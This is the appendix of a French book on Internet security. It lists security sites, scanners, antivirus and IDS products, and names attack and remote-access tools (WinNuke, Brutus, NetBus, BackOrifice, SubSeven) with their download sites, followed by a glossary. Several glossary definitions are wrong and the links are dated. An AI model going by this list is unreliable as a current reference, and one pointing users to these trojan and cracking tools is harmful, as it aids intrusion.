WinDump. Sniffer for Windows : http://netgroup.serv.polito.it/windump/
WinNuke. Attaque de DoS : http://www.anticode.com

► «Mailing Lists»

Les «Mailing Lists» sont des listes génériques et fort utiles qui vous informent sur les
nouveautés en matière de sécurité informatique et de piratages récemment découverts.
Vous pouvez s’inscrire à ces «mailing Lists» et recevoir automatiquement ces
informations. Exemples de ces «mailing Lists» :
Ntsecurity.net ; Alert ; BugTraq ; Cert ; FreeBSD Hackers Digest ; Happy Hackers
Digest ; Linux Security ; Linux Admin ; NTBugTraq ; NT FAQ

► Scanners on-line :

Ces sites offrent un scannage automatique des systèmes et une grande variété
d’informations relatives à la sécurité.
ISS Online Vulnerability Scanner : http://www.dateline.epatrol.com/
Symantec Security Check (Risks, Virus and Trojans) :
http://security1.norton.com/
Privacy Analysis of your Internet Connection :
http://privacy.net/analyze/analyzehow.asp
Zdnet Online Network, Virus and Trojan Scan :
http://security1.norton.com/common/1033/zd/zd_intro.asp
Quick Inspector for the Web : http://security.shavlik.com
Hacker Whacker : http://www.hackerwhacker.com
Sygate Scan : http://scan.sygatetech.com/
242 La sécurité sur Internet

► Sites de sécurité

Ces sites contiennent des outils de sécurité, ainsi que des documents et des
conseils. Il est important de noter que parmi ces sites, il existe ceux qui contiennent
des informations de type offensif.

http://www.Allhack.com
http://www.Alw.nih.gov.
http://www.Anticode.com
http://www.Astalavista.com
http://www.Bugtraq.com
http://www.CERIAS.CS.PURDUE.EDU
http://www.Cert.org
http://www.CIAC.LLNL.GOV
http://www.Cultdeadcow.com
http://www.Deny.de
http://www.Elitehackers.com
http://www.ENSLAVER.COM
http://www.Firosoft.com/security/philez
http://www.First.org
http://www.ftp.cert.dfn.de
http://www.ftp.nec.com
http://www.ftp.porcupine.org
http://www.ftp.win.tue.nl
http://www.Geek-speak.net
http://www.Hack.co.za
http://www.Hackernews.com
http://www.Hackersclub.com
http://www.Infosyssec.net
http://www.Infowar.co.uk
http://www.Insecure.org
http://www.L0pht.com
http://www.Net.tamu.edu
http://www.Neworder.box.sk
http://www.Ntobjectives.com
http://www.Packetstorm. Securify.com
http://www.Phrack.com
http://www.Porcupine.org
http://www.Rogenic.com
Annexe 243

http://www.Rootshell.com
http://www.SANS.ORG
http://www.Securiteam.com
http://www.Securityfocus.com
http://www.Securitysearch.net
http://www.Sysinterals.com
http://www.Technotronic.com
http://www.Torus.indirect.co.uk
http://www.Ussrback.com
http://www.Warmaster.de
http://www.Whitehats.com
http://www.Wiretrip.net/rfp
http://www.-arc.com
http://www.Xforce.iss.net

► Le hacking et la sécurité :

http://www.hackingexposed.com
http://www.securityfocus.com
http://www.esecurityonline.com

► Les trous de sécurités :

http://www.securityfocus.com
http://www.cert.org
http://www.actionline.com
http://www.sinsecure.org
http://www.ntbugtraq.com
http://www.astalavista.com

► La protection et les firewalls :

http://www.zonelabs.com
http://www.hsc.f/presentations/novamedia/securite.htm
http://www.altavista.software.digital.com
http://www.ans.net/whatneed/security/interlock/interloc.htm
http://www. Cyberguard.com/ products2/frames/nt_overview.html
244 La sécurité sur Internet

► Les outils de gestion de réseau, de détection et de la sécurité :

http://www.trouble.org/-zen/satan/satan.html
http://www.abirnet.com
http://www.aggroup.com
http://www.L0pht.com
http://www.detect-it.com
http://www.abirnet.com

► Les outils de reconnaissance et d’attaque :

http://www.nettool.false.net
http://www.samspade.org
http://www.members.tripod.com
http://www.network-tools.com
http://www.securityspace.com
http://www.privacy.net/analyze/

► Les anti-virus :

http://www.symantec.com
http://www.mcafee.com
http://www.avp.com

► Pour tester vos sites web :

Whisker : http://www.wiretrip.net
SiteScan : http://www.hackers.com/html/archive.5.html
THC Happy Brower : http://www.pimmel.com/thcfiles.php3
WWWHACK : http://www.packetstormsecurity.org
Web Cracker : http://www.packetstormsecurity.org
BRUTUS : http://www.hoobie.net/brutus

► Pour contrôler à distance des machines :

PcAnywhere : http://www.symantec.com
NetSupport : http://www.netsupport-inc.com
Virtual Network Computing : http://www.uk.research.att.com/vnc
NetBus : http://www.netbus.org
BackOrifice : http://www.bo2k.com
SubSeven : http://subseven.slak.org
Annexe 245

► Pour la méthode MARION :

http://perso.wanadoo.fr/fiweb/marion.htm
http://www.cai.gouv.qc.ca/octobre1.htm

► La sécurité des mots de passe :

Password Policy Enforcer : http://www.anixis.com

► Les langages spécifiques :

Java : http://www.javasoft.com/
Perl : http://www.perl.com/pub/language/info/software.html

► Archives des sites Web attaqués :

http://www.onething.com/archive

► Systèmes de détection des intrusions (Intrusion Detection Systems : IDS) :

RealSecure : http://www.iss.net
NetProwler : http://www.symantec.com
Secure Intrusion Detection : http://www.cisco.com
eTrust Intrusion Detection : http://www.cai.com
Network Flight Recorder : http://www.nfr.com
Dragon : http://www.enterasys.com/ids
Snort : http://www.snort.org
Lexique

Ce lexique comporte les seuls termes utilisés dans cette étude. Pour plus de détail
concernant les réseaux, se reporter aux dictionnaires spécialisés.

Agression : attaque sur une cible.

Agresseur : personne qui attaque ou craque un système. Cette personne est


caractérisée par sa motivation, ses moyens, sa détermination et les faiblesses
découvertes dans le système cible.

Applet : petit programme lancé à partir d’un navigateur vers une machine virtuelle
JAVA.

Application : ensemble des moyens logiques et physiques (fichiers, programmes,


procédures...) conçus et mis en oeuvre pour automatiser une ou plusieurs tâches
pour et/ou par les utilisateurs.

ASDL : « Asymetric Digital subcriber Line », nouvelle technologie concernant le


transfert dissymétrique à haut débit utilisé pour l’Internet. Dans le sens
remontant vers le réseau le débit est de 200 Kbs et dans le sens descendant vers
l’utilisateur, il est de 4 Mbps

Attaquant : terme générique, équivalant à agresseur ou désignant les pirates, les


Crakers ou Hackers.
248 La sécurité Internet

Backdoor : faille dans un système que l’on peut traduire par « port arrière », porte
dérobée ou trappe suivant l’utilisation dans des contextes différents. Elle pourrait
aussi être mise en place exprès par les constructeurs ou fournisseurs de service
afin de pouvoir accéder au système et le reprendre en main pour un dépannage
urgent et/ou à distance.

Back-up : ensemble de moyens mis en oeuvre pour sauvegarder tout le système sur
bande magnétique ou sur cassette par l'intermédiaire du Stremer (cas du micro-
ordinateur), et à restaurer ces informations en cas de besoin. Par extention, un
centre back-up est un site de secours à partir duquel on peut redémarrer
l'exploitation.

Banque de données : ensemble de fichiers structurés pouvant être consulté par


divers utilisateurs. Ces fichiers sont gérés soit par un SGF (Système de Gestion
de Fichiers classique), soit par un SGBD (Système de Gestion de Base de
données).

Bastion : système auquel tous les systèmes ou réseaux étrangers doivent se


connecter pour accéder à un système ou un service qui se trouve à l'intérieur du
Firewall. Un bastion est un élément constituant du Firewall. C'est le premier
élément de contact avec l'extérieur.

Boot strap : programme amorce. Il est intégré en mémoire morte et a pour but de
permettre le chargement du noyau du système d'exploitation (le Moniteur) à
partir d'un disque ou d'une disquette.

Bugs : de l’anglais « erreur », erreurs de programmes, de système ou de logiciel de


base. Par abus de langage, faire un bug correspond à trouver et rectifier l'erreur
des instructions dans un programme.

Canal : unité d'échange dans un environnement informatique. C'est un processeur


d'entrée/sortie ou input/output exécutant des « programmes » de transfert.

Canal multiplexé : canal servant à réaliser plusieurs transferts « simultanément »,


on peut le comparer à une sorte de Time-sharing sur les contrôleurs connectés.
Ce type de canaux est réservé aux périphériques classiques plus lents tels que les
imprimantes.

Canal simple : canal réservé aux disques rapides. Il n’exécute qu'un transfert entre
l'accusé du signal SIO et le traitement de l'interruption de fin d'entrée/sortie.
Lexique 249

Check-list : aide-mémoire ou liste d'un questionnaire libre (utiliser pour faire un


check : à un contrôle).

Command line interpréter : analyseur et interpréteur de lignes de commande (voir


Noyau du système d’exploitation)

Configuration : composition physique et logique d'un ordinateur et des organes


périphériques. Cette composition doit être précisée ou déclarée au Moniteur lors
de la génération du système.

Cible : actif d’une société ou organisation susceptible d’être visé ou atteint par un
sinistre. La cible est souvent fonction de l’attrait, de l’identité de la victime et
des vulnérabilités connues.

Coupe-feu : voir Firewall, Pare-feu.

Débugger (un système) : corriger un système ou un programme compromis soit


accidentellement soit à la suite d’une attaque.

DHCP : signifie Dynamic Host Configuration Protocol. Il s’agit d’un protocole qui
permet à un ordinateur qui se connecte à un réseau local d’obtenir
dynamiquement et automatiquement sa configuration IP.

Discovery Tool : ensemble d’outils de découverte ou de reconnaissance pour


scanner et obtenir les informations des systèmes. Les pirates les utilisent pour
détecter leurs systèmes cibles.

Directory : fichier répertoire maître ou l’annuaire système indexant l’emplacement


des divers fichiers. Si le directory est corrompu, on ne peut plus accéder aux
fichiers.

DNS : «Domain Name Server», les serveurs des noms de domaine qui traduisent les
noms des systèmes en adresses IP. Il existe des DNS internes à l’entreprise et
ceux externes par exemple ceux des F.A.I.

Dual homed host : Voir Hôte à double réseau

Email : courrier électronique provenant de l’anglais « electronic mail ».

F.A.I : fournisseur d’accès Internet, désigne souvent les fournisseurs de portail. Par
exemple : Wanadoo, AOL, etc.
250 La sécurité Internet

Faille : point faible favorisant une attaque, (voir Failles de vulnérabilité).

Facteur de menace : ensemble ou couple de cible et d’agresseur. On note souvent


de la manière suivante : facteur de menace = couple (cibles(s), agresseur(s)).

Failles de vulnérabilité : pour un système (hardware ou software) ou un réseau, les


points faibles. Peuvent être organisationnelles, procédurales, du personnel, de
gestion et/ou d’administration, du logiciel et/ou du matériel…

Firewall : appelé aussi coupe-feu, pare-feu, un ensemble d'éléments dont le rôle est
de séparer, analyser, limiter les entrées et sorties indésirables. C'est un ensemble
constitué de matériel (routeurs, ponts, ordinateurs) et de logiciels appropriés. Par
abus de langage, on utilise ce mot pour désigner un logiciel seulement.

Hoax : faux virus qui se présente sous la forme d’un simple message email rédigé
de telle façon que son destinataire soit tenté d’en informer ses amis ou collègues
travaillant sur le même réseau, ou de le leur transmettre croyant leur rendre
service.

Hôte : système physique (ordinateur) rattaché à un réseau.

Hôte à double réseau : (« Dual homed host »), ordinateur muni d'au moins 2
interfaces permettant une double fonctionnalité.

HTML : « HyperText Macro Language », langage de développement pour les


hypertextes, conçu vers les débuts des années 90.

HTTP : « Hypertext Transfert Protocol », protocole technique servant à transférer


les hypertextes, conçu vers le début des années 90.

Internet : principal composant de la toile mondiale www, développé après elle, à ne


pas confondre avec cette dernière, mais par abus de langage on les associe
souvent.

JAVA : langage de programmation réseau dont l’initiateur est la firme Sun


Microsystems. Java. Disponible sur le Web (voir page adresse Web intra).

JCL : « Job Control Language », langage de commande des tâches ou travaux avec
lesquels on exprime les ordres au système d'exploitation pour lancer des
programmes et leur mise en correspondance avec les diverses ressources.
Lexique 251

LAN : «Local Area Network», réseaux locaux internes des entreprises.

Logiciel : Au départ, ensemble de programmes et de procédés pour utiliser et


exploiter un ordinateur (logiciel de base). Par extension, on l'utilise pour désigner
les programmes d'une application spécifique (ex : logiciel de paie, de
comptabilité...). Très souvent par abus de langage, on l'utilise pour désigner un
progiciel (ex : logiciel Word).

Mail fake : des faux email avec usurpation d’identité de l’envoyeur

Mainframe : mot d'origine anglo-saxonne, de la firme IBM, signifiant ordinateur


central ou principal

MTBF : « Mean Time Between Failures », délai moyen entre les incidents.

MTTR : « Mean Time To Repair », durée moyenne entre les réparations ou les
incidents.

Multiprogrammation : « Multiprogramming », mode d'exploitation d'un ordinateur


dans lequel plusieurs programmes utilisateurs sont actifs à la fois, c'est-à-dire
chargés en mémoire centrale et exécutables par l'unité de traitement.

Multitraitement : « Multiprocessing », à ne pas confondre avec le mot précédent.


Possibilité d’un système de coordonner et de déclencher le déroulement
simultané de plusieurs processus. Pour ce faire ce système doit posséder
plusieurs types de processeurs.

Noyau du système : appelé souvent moniteur ou noyau système d’exploitation, il


comporte un ensemble de routines ou d’instructions permettant la commande du
ou des périphériques appelés BIOS (Basic Input Output System) et un
programme exécutif permettant un dialogue sommaire avec l'utilisateur. En fait,
il comprend aussi le module d'analyseur des commandes

Operating system : voir système d'exploitation.

Password : mot de passe, chaîne de caractères indispensables pour accéder à un


système, à un fichier. En général le système ne tolère pas plus de trois erreurs ou
tentatives d'accès. On dit aussi que le système est contrôlé par une clef d'accès.
252 La sécurité Internet

Path : chemin ou moyen de modification directe du contenu d'un fichier ou d'un


programme objet (modification sur un octet ou sur des bits d’un octet). En
micro-informatique, dans le langage MS-DOS, ce mot désigne le chemin d'accès
à un fichier ou à un répertoire (Voir Directory).

Patcher : patcher un système est utilisé pour désigner modifier ou apporter une
correction du système avec des éléments apportés par l’ingénieur système ou par
le fournisseur.

Pare-feu : traduction de l’anglais «Firewall», on appelle aussi les coupe-feux. (Voir


Firewall)

PERL : « Pratical Extraction and Report language » très populaire pour la


programmation réseau. Exécutable sur plusieurs plates-formes (en particulier
sous Unix, Windows NT), le Perl est disponible sur le Web.

Processeur : dispositif constitué d'une unité de traitement, des mémoires, des


registres et qui permet l'exécution d'un programme et/ou des opérations logiques
et arithmétiques.

Processus : ensemble de tâches ou fonctions exécutées par un processeur.

Progiciel : ensemble complet de documents et de programmes conçus pour être


fournis à plusieurs utilisateurs ou clients en vue d'une même application
(définition du Journal Officiel du 7 décembre 1981).

Remote : éléments distants. Voir exemple ci-dessous

Remote jobs : travaux lancés ou exécutés à distance.

Remote système : Système distant.

Répertoire : voir Directory

Réseau périphérique : appelé aussi réseau DMZ, (« De-militarized Zone » = zone


démilitarisée), dispositif particulier implémenté (additionnel) entre le réseau
extérieur et le réseau à protéger.

Ressource : ensemble de moyens : ressources physiques ou matérielles et ressources


logicielles.
Lexique 253

Ressources matérielles : unité centrale, mémoires centrales ou auxiliaires,


périphériques, unité de liaison ou unité d'échange.

Ressources logicielles : logiciel d’exploitation, logiciel de service et/ou logiciel


d'application.

Restauration : opération inverse de la sauvegarde afin de générer une partie ou la


totalité du système lors d'un plantage. On utilise aussi ce terme pour restaurer des
fichiers écrasés lors d'une fausse manipulation.

Risque : risque de perte ou de dommage. Peut être aussi considéré comme un


événement potentiel engendrant des pertes ou dommages. L’occurrence d’un
risque résulte de l’application d’une menace sur une vulnérabilité (voir ce mot).

SATAN : nom d’un outil d’analyse et de sécurité conçu par Dan Farmer et Weitse
Venema à l’usage des administrateurs de réseaux, de l’anglais « Security
Administrator Tool for Analyzing Networks »,.Script : séquence d’instruction
exécutée par un programme ou par des interpréteurs. Exemple : script de Java ou
pour Active X.

Script kiddies : jeunes Hackers utilisant les outils existants et connus pour changer
les pages d’accueil des sites. Par extension on nomme ces pages web « Script
kiddies pages » les pages falsifiées ou les pages d’accueil modifiées d’une
entreprise par les pirates.

SIO : « Start Input Output », signal de début d'un processus d'entrée/sortie reçu par
un canal.

Stéganographie : méthode ou procédé qui consiste à passer, dans un support


anodin, des informations discrètement à l’insu des tiers.

Sinistre : rupture non souhaitée, dégageant des pertes potentielles par rapport à un
état antérieur considéré comme stable ou normal.

SSH : « Secure Shell », le Shell sécurisé préconisé dans l’utilisation des transactions
délicates et confidentielles employant les RPC (Remote Procedures Call) pour
éviter le piratage

SSF : version française à utiliser obligatoirement car toute transaction secrète et


utilisant le cryptage doit être déclarée aux gouvernements.
254 La sécurité Internet

SSL : «Secure Socket level», système de cryptage des données entre un navigateur et
un serveur Web.

Superviseur : ensemble des modules du système d'exploitation qui gère le


fonctionnement de l'ordinateur et assure le bon déroulement des travaux des
utilisateurs. Les fonctions principales du superviseur sont : gestion des
ressources physiques, gestion des travaux, des données, des processus, des liens
entre les tâches, des anomalies et protection contre diverses erreurs de
manipulation ou d'accès aux ressources.

Système d'exploitation : ensemble de programmes exprimés en langage machine


binaire translatable (non résident) ou absolu (résident) chargés dans l'ordinateur,
et dont l'exécution permet l'exploitation de ses ressources, de traiter
automatiquement les programmes utilisateurs. Appelé‚ aussi « software » ou
logiciel de base, dans un cas simple, ce système d’exploitation se réduit à un
moniteur de 2 à 5 kilo octets résident en mémoire morte (surtout dans les micro-
ordinateurs).

Temps partagé : anglais « Time sharing », mode d'utilisation d'un ordinateur en


temps réel à l'échelle humaine (réponse de l'ordre de quelques secondes).
Plusieurs utilisateurs se partagent le service de l'ordinateur dans une même durée
de temps. Chaque utilisateur a l’impression que toutes les ressources de la
machine lui sont accessibles.

Temps réel : anglais « Real time », système permettant l'exécution rapide de


processus et pouvant réagir rapidement lors d'un changement de contexte ou d'un
nouvel événement. L'utilisateur peut agir avec des paramètres en cas de besoin.
Système très utilisé dans un contexte de processus industriel.

VNC : « Virtuel Network Computing », ce terme désigne les programmes ou


utilitaires permettant d’utiliser un réseau virtuel par l’administrateur afin de gérer
ses systèmes distants.

Vulnérabilité : ensemble de conditions ou failles susceptibles de favoriser une


agression.

Vous aimerez peut-être aussi